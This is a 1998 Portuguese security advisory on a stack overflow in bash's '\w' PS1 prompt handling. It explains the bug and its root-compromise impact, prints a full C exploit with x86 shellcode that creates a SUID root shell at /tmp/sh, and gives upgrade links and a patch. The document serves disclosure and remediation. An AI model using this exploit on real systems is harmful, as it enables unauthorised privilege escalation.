sekure/uground industries - Security Bulletim ........................................................ www.sekure.org ->sekure.08-98.bash <- 1. Descricao `'`'`'`'`'`' O bash apresenta um recurso que permite determinar a aparencia e o formato do prompt apresentado ao usuario. Quando executado em modo interativo, o bash apresenta esse prompt de acordo com o formato estabelecido e armazenado na variavel de ambiente PS1. Logo, essa variavel pode ser customizada pelo usuario para apresentar prompts de diversos formatos e padroes, atraves da insercao de caracteres especiais que sao decodados pelo bash. Um desses caracteres especiais e' o "\w". Quando o bash encontra esse caracter na variavel PS1, realiza a sua substituicao pelo valor do diretorio corrente em que o usuario esta localizado. No entanto, nao realiza uma checagem conveniente do tamanho do nome do diretorio que sera apresentado no prompt. Essa falta de checagem pode ocasionar, em determinadas situacoes, um estouro do limite de espaco para armazenamento do nome do diretorio. Este problema esta precisamente localizado na funcao rl_redisplay() que pode ser encontrada em lib/readline/display.c a partir da estrutura de diretorios e arquivos que acompanha o codigo-fonte do bash. Esta funcao nao possui uma conveniente checagem de espaco para o armazenamento dos valores que lhe sao repassados, ocasionando o problema mencionado acima. 2. Comprometimento `'`'`'`'`'`'`'`'`' A falta de verificacao do tamanho do diretorio corrente gera uma situacao que pode ser explorada de modo a forcar a execucao de comandos e codigo arbitrarios. Em outras palavras, pode-se forcar a execucao de qualquer comando para a qual se possua privilegios de execucao, podendo-se, desse modo, obter privilegios de root com o consequente controle do sistema. Esta vulnerabilidade afeta a todas as versoes de bash que fazem uso de funcoes da libreadline para tratamento e manipulacao de linhas. Isso inclui as versoes 1.4.17, 2.0.0 e 2.01. 3. Testando a vulnerabilidade `'`'`'`'`'`'`'`'`'`'`'`'`'`'` O programa abaixo, publicado originalmente na lista de discussao BugTraq, permite testar essa vulnerabilidade do bash, forcando a criacao de um "/tmp/sh" com o flag de SUID ROOT setado. ---(cut here)--- /* * BASH: '\w' in PS1 environment variable - x86 exploit * by Miroslaw Grzybek * * - tested on: DEBIAN LINUX 1.3.1, BASH 2.0.0(1) * RED HAT LINUX 5.0, BASH 1.4.17(1) * * THIS IS FOR EDUCATIONAL PURPOSES ONLY * USE IT AT YOUR OWN RISK * * When run, this program creates directories: * AAAAAA....../AAAAAA....../AAAAAA....../CODE......./RETADDR..... * (255 bytes) (255 bytes) (255 bytes) (50 bytes) (255 bytes) * * When you have '\w' included in your PS1 env. variable and * enter to the last of this directories, then "/tmp/tp" program is * executed and SUID shell "/tmp/sh" is created */ #include /* * Code we would like to run when stack is smashed */ char code[] = "\xeb\x24" /* jmp GETADDR */ /* RUNPROG: */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xfe\x06" /* incb (%esi) */ "\xfe\x46\x04" /* incb 0x4(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* incl %eax */ "\xcd\x80" /* int $0x80 */ /* GETADDR: */ "\xe8\xd7\xff\xff\xff" /* call RUNPROG */ ".tmp.tp"; /* Program to run .XXX.XX */ /* * Return address, you may have to change it if expl. doesn't works */ int ADDR=0xbffff2ff; void main(void) { char dir[256]; int i, align; printf("BASH '\\w' option in PS1 exploit example\n"); printf("- Creating /tmp/tp.c\n"); system("echo 'main() {' > /tmp/tp.c"); system("echo 'system(\"cp /bin/sh /tmp/sh\");' >> /tmp/tp.c"); system("echo 'system(\"chmod +s /tmp/sh\");' >> /tmp/tp.c"); system("echo '}' >> /tmp/tp.c"); printf("- Compiling /tmp/tp.c to /tmp/tp\n"); system("gcc -o /tmp/tp /tmp/tp.c"); printf("- Removing /tmp/tp.c\n"); system("rm -f /tmp/tp.c"); /* Computing alignment for the 'address' directory */ getcwd(dir,255); align=(strlen(dir)+2) % 4; memset(dir,'A',255); dir[255]=0; printf("- Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...\n"); mkdir(dir,0777); chdir(dir); mkdir(dir,0777); chdir(dir); mkdir(dir,0777); chdir(dir); /* create directory which name is our code */ mkdir(code,0777); chdir(code); /* create directory which name is return addresses */ for(i=align;i<252;i+=4) *(int *)&dir[i]=ADDR; mkdir(dir,0777); chdir("../../../../"); printf("- OK\n\n"); } ---(cut here)--- 4. Correcoes `'`'`'`'`'`' Usuarios de Linux Debian podem realizar o download da ultima versao em: ftp://ftp.debian.org/pub/debian/dists/slink/main/binary-i38/base/bash_2.01.1-4.deb Usuarios de Linux Red-Hat podem realizar o download da ultima versao em: ftp://ftp.redhat.com/pub/redhat/updates/ Usuarios de outros sistemas operacionais e/ou outras distribuicoes de Linux, devem realizar o upgrade para a versao 2.01 e aplicar, sobre ele, o patch abaixo: ---(cut here)--- diff -ru org/bash-2.01.1/builtins/cd.def bash-2.01.1/builtins/cd.def --- org/bash-2.01.1/builtins/cd.def Fri Apr 11 18:55:47 1997 +++ bash-2.01.1/builtins/cd.def Sun Sep 6 00:53:16 1998 @@ -146,11 +146,19 @@ needing a remake. */ if (old_anm == 0 && array_needs_making && exported_p (tvar)) { - pwdvar = xmalloc (strlen (dirname) + 5); /* 5 = "PWD" + '=' + '\0' */ - strcpy (pwdvar, "PWD="); - strcpy (pwdvar + 4, dirname); - add_or_supercede_exported_var (pwdvar, 0); - array_needs_making = 0; + if (dirname!=0) + { + pwdvar = xmalloc (strlen (dirname) + 5); /* 5 = "PWD" + '=' + '\0' */ + strcpy (pwdvar, "PWD="); + strcpy (pwdvar + 4, dirname); + } + else + { + pwdvar=xmalloc (6); + strcpy (pwdvar, "PWD=."); + } + add_or_supercede_exported_var (pwdvar, 0); + array_needs_making = 0; } FREE (dirname); ---(cut here)--- 5. Contatos '`'`'`'`'`' sekure.08-98.bash security bulletin by paranoia (paranoia@sekure.org) & bahamas (bahamas@sekure.org) sekure/uground industries - Security Bulletim uma publicacao da sekure/uground industries (tm) http://www.sekure.org - contatos: security@sekure.org Procure pelos advisories da sekure/uground industries em http://www.sekure.org/advisories.html Assine a lista Best Of Security Brasil - http://www.sekure.org/bos Mande mensagem pra bos-br-request@sekure.org Ponha "subscribe bos-br" no corpo da mensagem. ---- sekure/uground industries (tm) - 1998